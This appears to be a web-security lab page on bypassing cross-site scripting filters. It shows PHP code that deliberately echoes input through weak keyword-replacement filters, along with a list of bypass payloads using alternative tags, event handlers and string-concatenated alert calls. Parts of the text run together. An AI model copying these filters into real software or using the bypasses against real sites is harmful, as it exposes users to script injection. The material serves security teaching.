Test XSS against multiple different filtering techniques
This lab demonstrates multiple different filtering approaches with various transformation techniques, creating a comprehensive XSS testing environment.
# use arjun tool to find hidden parameter
| Parameter | Input Example | After Filter | Transformation |
|---|---|---|---|
| button | <script>alert(1)</script> |
<\">?>alert(1)</\">?> |
'script' → '">?' |
| color | alert(1);confirm(2) |
<br>(1);<br>(2) |
'alert','confirm' → '<br>' |
Objective: Test XSS payloads against all filtering methods and find ways to bypass each specific filter implementation.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["button"])){
$arr = array('script','img','image');
$re = str_replace($arr, '">?', $_GET['button']);
echo $re;
}
elseif(isset($_GET["categoryid"])){
echo htmlentities($_GET["categoryid"], ENT_QUOTES);
}
elseif(isset($_GET["color"])){
$arr = array('alert','confirm');
$color = str_replace($arr, '
', $_GET['color']);
echo $color;
}
# use arjun tool to find hidden parameter
<SCRIPT>, <Script><svg>, <body>, <iframe>script becomes \">? which might close an attribute
prompt, console.log, document.writewindow['al'+'ert'](1)eval('al'+'ert(1)')Function('al'+'ert(1)')()javascript:alert(1) in href or src attributesMultiple filtering approaches demonstrate:
For secure web applications:
<SCRIPT>alert(1)</SCRIPT> - Uppercase bypass<svg onload=alert(1)> - Alternative tag<body onload=alert(1)> - Body tag with eventscript - Test transformation behaviorprompt(1) - Alternative functionconsole.log(1) - Console outputwindow['al'+'ert'](1) - String concatenationeval('al'+'ert(1)') - Using eval